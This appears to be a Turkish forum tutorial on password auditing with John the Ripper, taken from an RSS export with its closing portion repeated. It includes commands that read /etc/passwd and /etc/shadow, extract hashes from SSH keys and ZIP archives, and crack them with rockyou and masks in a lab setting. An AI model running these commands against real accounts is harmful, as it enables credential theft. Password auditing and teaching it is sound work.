<span style="font-weight: bold;" class="mycode_b">Performans:</span> Yavaş hash'lerde (bcrypt, sha512crypt) CPU hızı sınırlayıcıdır; büyük kampanyalar için GPU desteği olan Hashcat'i değerlendirin. JtR'nin güçlü yanı esnek kural motoru ve geniş biçim desteğidir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6.1. Hash Türleri ve Pratik Notlar</span></span><br />
Parola denetiminde karşılaşacağınız hash türlerini tanımak, doğru stratejiyi seçmenin yarısıdır. Modern Linux dağıtımları parolaları yavaş ve tuzlu (salted) algoritmalarla saklar:  MD5-crypt, ,  ve  öneklerini gösterir. Yavaş algoritmalar bir aday parolayı doğrulamayı kasıtlı olarak pahalı kılar; bu yüzden milyonlarca deneme saniyeler değil dakikalar-saatler alır. Bu da neden güçlü ve uzun parolaların kaba kuvvete karşı etkili olduğunu açıklar.<br />
<br />
Windows ortamlarında NTLM hash'leri tuzsuzdur ve hızlı kırılır; bu yüzden kurumsal denetimlerde özellikle önemlidir. JtR bu biçimleri de destekler, ancak büyük NTLM koleksiyonlarında GPU hızı için Hashcat sıklıkla tercih edilir. İki aracı rakip değil tamamlayıcı görün: JtR'nin kural motoru ve biçim çeşitliliği keşif ve küçük setlerde, Hashcat'in GPU gücü büyük kampanyalarda parlar.<br />
<br />
Denetim raporunuzda yalnızca "kaç parola kırıldı" demek yetmez; kırılan parolaların uzunluk ve karmaşıklık dağılımını, politikaya uymayanları ve yeniden kullanılan parolaları da belgeleyin. Asıl değer, bulguların düzeltici öneriye dönüşmesindedir: minimum uzunluk artırma, yaygın parolaların engellenmesi (deny list) ve çok faktörlü kimlik doğrulama.<br />
<br />
Son olarak, john.pot dosyasının önceki sonuçları sakladığını unutmayın; yeni bir denetime temiz başlamak isterseniz bu dosyayı yedekleyip temizleyin. Aksi halde JtR, zaten kırılmış hash'leri atlayıp sonuçları birleştirir ve ilerleme olduğundan daha hızlı görünebilir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
John the Ripper, parola denetiminde hâlâ en pratik araçlardan biridir. Doğru yaklaşım; önce --single, sonra kurallı wordlist, en son maske/incremental sırasıyla ilerlemektir. Amaç saldırmak değil, zayıf parolaları ortaya koyup düzeltmektir. Bu yüzden denetim sonuçlarını mutlaka güçlü parola politikasıyla eşleştirin.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>John the Ripper Resmi Sitesi (Openwall) - <a href="https://www.openwall.com/john/" target="_blank" rel="noopener" class="mycode_url">https://www.openwall.com/john/</a><br />
</li>
<li>JtR Jumbo Deposu ve Wiki - <a href="https://github.com/openwall/john" target="_blank" rel="noopener" class="mycode_url">https://github.com/openwall/john</a><br />
</li>
<li>Openwall JtR Dokümanları - <a href="https://www.openwall.com/john/doc/" target="_blank" rel="noopener" class="mycode_url">https://www.openwall.com/john/doc/</a><br />
</li>
<li>Kali Tools: john - <a href="https://www.kali.org/tools/john/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/john/</a><br />
</li>
<li>man john / man unshadow (yerel man sayfaları)<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Parola kırma yalnızca kendi hesaplarınızda veya yazılı yetki verilmiş denetimlerde yapılmalıdır. Başkasına ait parolaları izinsiz kırmak Türk Ceza Kanunu 243-245. maddeleri kapsamında suçtur.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=132" target="_blank" title="">000-team-03-team-e781f7.png</a> (Dosya Boyutu: 62.89 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Merhaba TurkTeam,</span><br />
<br />
John the Ripper (JtR), parola güvenliğini denetlemek için kullanılan, açık kaynaklı ve çok eski köklere sahip bir parola kırma aracıdır. Bu rehberde community sürümü "jumbo" üzerinden kurulumu, çalışma modlarını (single, wordlist, incremental), hash biçimlerini ve en çok kullanılan yardımcı araçları (unshadow, zip2john gibi) uygulamalı olarak ele alıyoruz. Tüm örnekler yalnızca kendi hesaplarınız ve lab verileriniz içindir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>John the Ripper nedir, nasıl çalışır<br />
</li>
<li>Kurulum: paket deposu ve jumbo sürüm<br />
</li>
<li>Hash biçimi tespiti ve *2john yardımcıları<br />
</li>
<li>Çalışma modları: single, wordlist, incremental<br />
</li>
<li>Uygulamalı: Linux shadow parolası kırma<br />
</li>
<li>Kural (rules), maske ve ilerleme yönetimi<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. John the Ripper Nedir, Nasıl Çalışır?</span></span><br />
Parolalar sistemlerde açık metin değil, geri döndürülemez bir <span style="font-weight: bold;" class="mycode_b">hash</span> olarak saklanır. JtR, bir aday parolayı aynı algoritmayla hashleyip saklanan hash ile karşılaştırarak çalışır; eşleşirse parola bulunmuş olur. Yani JtR hash'i "çözmez", doğru adayı tahmin edip doğrular. Bu yüzden başarı; wordlist kalitesine, kurallara ve hash algoritmasının yavaşlığına bağlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Jumbo</span> sürümü (openwall/john), topluluk tarafından yüzlerce hash türü, OpenCL/GPU desteği ve zengin yardımcı araçlarla genişletilmiş versiyondur ve pentest için önerilen sürümdür.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Kurulum</span></span><br />
Kali/Parrot üzerinde jumbo sürümü genelde "john" paketiyle gelir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install john</code></div></div>Sürümü ve derlenmiş özellikleri doğrulayın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --version
john --list=build-info</code></div></div>Desteklenen hash biçimlerini listelemek için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --list=formats | tr ',' '&#92;n' | head</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Hash Biçimi ve *2john Yardımcıları</span></span><br />
JtR, pek çok dosya türünü kırılabilir hash biçimine çeviren yardımcı betikler içerir. Bunlar genelde /usr/share/john/ veya /usr/sbin altında bulunur.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">unshadow</span> - /etc/passwd ve /etc/shadow dosyalarını JtR'nin anlayacağı tek dosyada birleştirir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo unshadow /etc/passwd /etc/shadow &gt; hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">zip2john / rar2john</span> - Parolalı arşivlerin hash'ini çıkarır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>zip2john gizli.zip &gt; zip.hash</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">ssh2john</span> - Parolalı özel anahtarın hash'ini çıkarır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ssh2john id_rsa &gt; key.hash</code></div></div><br />
Bir hash'in türünden emin değilseniz, biçim tahmini için önce incelenmelidir; JtR çoğu zaman biçimi otomatik tanır, ancak --format ile zorlayabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --format=sha512crypt hashes.txt</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Çalışma Modları</span></span><br />
<span style="font-weight: bold;" class="mycode_b">single</span> - Kullanıcı adı, GECOS alanı gibi bilgilerden türetilen akıllı tahminler; hızlı ilk geçiş için idealdir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --single hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">wordlist</span> - Bir kelime listesi üzerinden deneme; isteğe bağlı kurallarla güçlenir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--rules</span> - Kelimeleri dönüştürerek (büyük harf, sona rakam ekleme vb.) varyasyon üretir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">incremental</span> - Karakter uzayını istatistiksel sırayla deneyen brute-force modu (uzun sürebilir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --incremental hashes.txt</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Uygulamalı: Linux Shadow Parolası Kırma</span></span><br />
Aşağıdaki akışı yalnızca KENDİ test makinenizde deneyin.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 1 - Test kullanıcısı oluşturun ve basit bir parola verin (lab):</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo useradd -m testkullanici
echo 'testkullanici:password123' | sudo chpasswd</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Adım 2 - Hash'leri birleştirin:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo unshadow /etc/passwd /etc/shadow &gt; hashes.txt</code></div></div>Çıktı satırı şuna benzer; &#36;6&#36; öneki parolanın sha512crypt ile saklandığını gösterir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>testkullanici:&#36;6&#36;xyz...&#36;abcdef...:1002:1002::/home/testkullanici:/bin/bash</code></div></div><div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=132" loading="lazy"  alt="[Resim: attachment.php?aid=132]" class="mycode_img" /></div>
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 3 - rockyou ile kırma:</span><br />
rockyou.txt Kali'de genelde sıkıştırılmıştır; önce açın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo gzip -d /usr/share/wordlists/rockyou.txt.gz 2&gt;/dev/null
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt</code></div></div>JtR parolayı bulunca şuna benzer bir satır yazar ve kırılan kayıtları john.pot dosyasına ekler:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>password123      (testkullanici)</code></div></div><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 4 - Sonuçları görüntüleme:</span><br />
Kırılmış parolaları tekrar çalıştırmadan görmek için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --show hashes.txt</code></div></div>Bu komut "testkullanici:password123" gibi çözülmüş kayıtları listeler.<br />
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. İleri Seviye: Kurallar, Maske ve İlerleme</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Durum takibi:</span> JtR çalışırken herhangi bir tuşa basınca ilerlemeyi gösterir. Oturum kaydetme ve devam ettirme:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --session=denetim --wordlist=rockyou.txt hashes.txt
john --restore=denetim</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Mask modu:</span> Parola kalıbını biliyorsanız (örn. 6 küçük harf + 2 rakam) hedefli brute-force çok hızlanır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --mask='?l?l?l?l?l?l?d?d' --min-length=8 hashes.txt</code></div></div>Burada ?l küçük harfi, ?d rakamı temsil eder.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Özel kural seti:</span> /etc/john/john.conf içine kendi kurallarınızı ekleyip --rules=KuralAdi ile çağırabilirsiniz. Kurumsal denetimlerde parola politikasına uygun özel kurallar yazmak, gerçekçi sonuç verir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Performans:</span> Yavaş hash'lerde (bcrypt, sha512crypt) CPU hızı sınırlayıcıdır; büyük kampanyalar için GPU desteği olan Hashcat'i değerlendirin. JtR'nin güçlü yanı esnek kural motoru ve geniş biçim desteğidir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6.1. Hash Türleri ve Pratik Notlar</span></span><br />
Parola denetiminde karşılaşacağınız hash türlerini tanımak, doğru stratejiyi seçmenin yarısıdır. Modern Linux dağıtımları parolaları yavaş ve tuzlu (salted) algoritmalarla saklar:  MD5-crypt, ,  ve  öneklerini gösterir. Yavaş algoritmalar bir aday parolayı doğrulamayı kasıtlı olarak pahalı kılar; bu yüzden milyonlarca deneme saniyeler değil dakikalar-saatler alır. Bu da neden güçlü ve uzun parolaların kaba kuvvete karşı etkili olduğunu açıklar.<br />
<br />
Windows ortamlarında NTLM hash'leri tuzsuzdur ve hızlı kırılır; bu yüzden kurumsal denetimlerde özellikle önemlidir. JtR bu biçimleri de destekler, ancak büyük NTLM koleksiyonlarında GPU hızı için Hashcat sıklıkla tercih edilir. İki aracı rakip değil tamamlayıcı görün: JtR'nin kural motoru ve biçim çeşitliliği keşif ve küçük setlerde, Hashcat'in GPU gücü büyük kampanyalarda parlar.<br />
<br />
Denetim raporunuzda yalnızca "kaç parola kırıldı" demek yetmez; kırılan parolaların uzunluk ve karmaşıklık dağılımını, politikaya uymayanları ve yeniden kullanılan parolaları da belgeleyin. Asıl değer, bulguların düzeltici öneriye dönüşmesindedir: minimum uzunluk artırma, yaygın parolaların engellenmesi (deny list) ve çok faktörlü kimlik doğrulama.<br />
<br />
Son olarak, john.pot dosyasının önceki sonuçları sakladığını unutmayın; yeni bir denetime temiz başlamak isterseniz bu dosyayı yedekleyip temizleyin. Aksi halde JtR, zaten kırılmış hash'leri atlayıp sonuçları birleştirir ve ilerleme olduğundan daha hızlı görünebilir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
John the Ripper, parola denetiminde hâlâ en pratik araçlardan biridir. Doğru yaklaşım; önce --single, sonra kurallı wordlist, en son maske/incremental sırasıyla ilerlemektir. Amaç saldırmak değil, zayıf parolaları ortaya koyup düzeltmektir. Bu yüzden denetim sonuçlarını mutlaka güçlü parola politikasıyla eşleştirin.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>John the Ripper Resmi Sitesi (Openwall) - <a href="https://www.openwall.com/john/" target="_blank" rel="noopener" class="mycode_url">https://www.openwall.com/john/</a><br />
</li>
<li>JtR Jumbo Deposu ve Wiki - <a href="https://github.com/openwall/john" target="_blank" rel="noopener" class="mycode_url">https://github.com/openwall/john</a><br />
</li>
<li>Openwall JtR Dokümanları - <a href="https://www.openwall.com/john/doc/" target="_blank" rel="noopener" class="mycode_url">https://www.openwall.com/john/doc/</a><br />
</li>
<li>Kali Tools: john - <a href="https://www.kali.org/tools/john/" target="_blank" rel="noopener" class="mycode_url">https://www.kali.org/tools/john/</a><br />
</li>
<li>man john / man unshadow (yerel man sayfaları)<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>Parola kırma yalnızca kendi hesaplarınızda veya yazılı yetki verilmiş denetimlerde yapılmalıdır. Başkasına ait parolaları izinsiz kırmak Türk Ceza Kanunu 243-245. maddeleri kapsamında suçtur.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=132" target="_blank" title="">000-team-03-team-e781f7.png</a> (Dosya Boyutu: 62.89 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
	</channel>
</rss>